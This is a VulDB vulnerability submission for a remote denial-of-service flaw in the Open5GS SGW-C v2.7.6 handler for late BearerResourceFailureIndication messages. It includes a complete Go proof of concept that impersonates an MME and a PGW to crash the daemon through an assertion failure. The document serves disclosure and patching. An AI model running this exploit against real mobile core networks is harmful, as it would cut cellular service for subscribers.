제출 #738370: Open5GS SGWC v2.7.6 Denial of Service정보

제목Open5GS SGWC v2.7.6 Denial of Service
설명### Description SGW-C can be forced to **crash** if a **BearerResourceFailureIndication** (GTPv2-C message type 69) is received on **S5-C** after the corresponding **S11 Bearer Resource procedure transaction** has already timed out and been freed. The handler `sgwc_s5c_handle_bearer_resource_failure_indication()` assumes the associated S11 transaction (`s11_xact`) is always valid; when the S11-side transaction expires before the late S5-C indication arrives, `s11_xact` becomes `NULL` and the code hits `ogs_assert(s11_xact)` at `src/sgwc/s5c-handler.c:992`, terminating `open5gs-sgwcd`. This results in a **remote DoS** achievable by controlling message timing (e.g., delaying the S5-C indication until after the S11 transaction timeout). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // PB2-08 PoC: BearerResourceFailureIndication Stale S11 Transaction // Target: Open5GS SGW-C v2.7.6 // Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_bearer_resource_failure_indication (s5c-handler.c:992) // // Attack Flow: // 1. MME -> SGW-C: CreateSessionRequest (establish session) // 2. PGW: Respond to CreateSessionRequest // 3. MME -> SGW-C: BearerResourceCommand (creates S11 transaction) // 4. SGW-C -> PGW: BearerResourceCommand (creates S5c transaction, associated with S11) // 5. Wait for S11 transaction to timeout // 6. PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction already expired) // 7. ogs_assert(s11_xact) fails -> crash package main import ( "encoding/binary" "flag" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) const ( MsgTypeBearerResourceCommand = 68 // 0x44 MsgTypeBearerResourceFailureIndication = 69 // 0x45 ) var ( sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address") sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address") mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address") pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address") xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait") ) func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) log.Println("=== PB2-08 PoC: BearerResourceFailureIndication Stale S11 Transaction ===") log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr) log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr) // Parse addresses mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr) pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr) sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr) sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr) // Create MME and PGW UDP connections mmeConn, err := net.ListenUDP("udp", mmeLocal) if err != nil { log.Fatalf("Failed to bind MME: %v", err) } defer mmeConn.Close() log.Printf("[MME] Listening on %s", mmeLocal) pgwConn, err := net.ListenUDP("udp", pgwLocal) if err != nil { log.Fatalf("Failed to bind PGW: %v", err) } defer pgwConn.Close() log.Printf("[PGW] Listening on %s", pgwLocal) // State tracking var sgwS11cTeid, sgwS5cTeid uint32 var s5cSeqNum uint32 mmeSeqNum := uint32(1) pathSwitch := false // Step 1: MME -> SGW-C: CreateSessionRequest log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest") csReq := createSessionRequest(mmeSeqNum) if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil { log.Fatalf("Failed to send CreateSessionRequest: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: CreateSessionRequest log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...") buf := make([]byte, 4096) pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err := pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err) } // Parse to get SGW's S5c TEID msg, err := message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse message: %v", err) } switch m := msg.(type) { case *message.CreateSessionRequest: csReqFromSgw := m sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID() s5cSeqNum = csReqFromSgw.SequenceNumber log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) case *message.ModifyBearerRequest: mbReqFromSgw := m if mbReqFromSgw.SenderFTEIDC == nil { log.Fatalf("ModifyBearerRequest missing Sender F-TEID") } sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err) } s5cSeqNum = mbReqFromSgw.SequenceNumber log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil { log.Fatalf("Failed to send ModifyBearerResponse: %v", err) } log.Println("[PGW] Sent ModifyBearerResponse (path switch)") pathSwitch = true default: // Check if it's a BearerResourceCommand (raw parse) if n >= 12 && buf[1] == MsgTypeBearerResourceCommand { sgwS5cTeid = binary.BigEndian.Uint32(buf[4:8]) s5cSeqNum = uint32(buf[8])<<16 | uint32(buf[9])<<8 | uint32(buf[10]) log.Printf("[PGW] Received BearerResourceCommand directly, TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) log.Println("\n[Step 4] PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") brfInd := buildBearerResourceFailureIndication(sgwS5cTeid, s5cSeqNum) if _, err := pgwConn.WriteToUDP(brfInd, sgwcS5c); err != nil { log.Fatalf("Failed to send BearerResourceFailureIndication: %v", err) } log.Println("\n[*] PoC sent! Check SGW-C for crash:") log.Println(" FATAL: sgwc_s5c_handle_bearer_resource_failure_indication: Assertion `s11_xact' failed.") log.Println(" (s5c-handler.c:992)") time.Sleep(2 * time.Second) return } log.Fatalf("Expected CreateSessionRequest, got %T", msg) } if !pathSwitch { // Step 3: PGW -> SGW-C: CreateSessionResponse log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse") pgwS5cTeid := uint32(0x30000001) pgwS5uTeid := uint32(0x30000002) csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid) if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil { log.Fatalf("Failed to send CreateSessionResponse: %v", err) } } // Wait for SGW-C -> MME: CreateSessionResponse log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...") mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = mmeConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err) } msg, err = message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse CreateSessionResponse: %v", err) } csRspFromSgw, ok := msg.(*message.CreateSessionResponse) if !ok { log.Fatalf("Expected CreateSessionResponse, got %T", msg) } if csRspFromSgw.Cause != nil { if cause, err := csRspFromSgw.Cause.Cause(); err == nil { log.Printf("[MME] CreateSessionResponse cause=%d", cause) } } if csRspFromSgw.SenderFTEIDC == nil { log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)") } sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse Sender F-TEID: %v", err) } log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid) // Step 5: MME -> SGW-C: BearerResourceCommand log.Println("\n[Step 5] MME -> SGW-C: BearerResourceCommand") brcReq := buildBearerResourceCommand(sgwS11cTeid, mmeSeqNum) if _, err := mmeConn.WriteToUDP(brcReq, sgwcS11); err != nil { log.Fatalf("Failed to send BearerResourceCommand: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: BearerResourceCommand log.Println("[Step 6] Waiting for SGW-C -> PGW: BearerResourceCommand...") pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive BearerResourceCommand at PGW: %v", err) } // Parse sequence number from raw message (BearerResourceCommand is not in go-gtp) if n < 12 { log.Fatalf("Message too short") } if buf[1] != MsgTypeBearerResourceCommand { log.Fatalf("Expected BearerResourceCommand (type %d), got type %d", MsgTypeBearerResourceCommand, buf[1]) } s5cSeqNum = uint32(buf[8])<<16 | uint32(buf[9])<<8 | uint32(buf[10]) log.Printf("[PGW] Received BearerResourceCommand, Seq: %d", s5cSeqNum) // Step 7: Wait for S11 transaction to timeout log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) // Step 8: PGW -> SGW-C: BearerResourceFailureIndication (delayed) log.Println("\n[Step 8] PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") brfInd := buildBearerResourceFailureIndication(sgwS5cTeid, s5cSeqNum) if _, err := pgwConn.WriteToUDP(brfInd, sgwcS5c); err != nil { log.Fatalf("Failed to send BearerResourceFailureIndication: %v", err) }
원천⚠️ https://github.com/open5gs/open5gs/issues/4268
사용자
 LinZiyu (UID 94035)
제출2026. 01. 14. AM 04:07 (5 개월 ago)
모더레이션2026. 01. 28. AM 11:11 (14 days later)
상태수락
VulDB 항목343192 [Open5GS 까지 2.7.6 SGWC src/sgwc/s5c-handler.c 서비스 거부]
포인트들20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!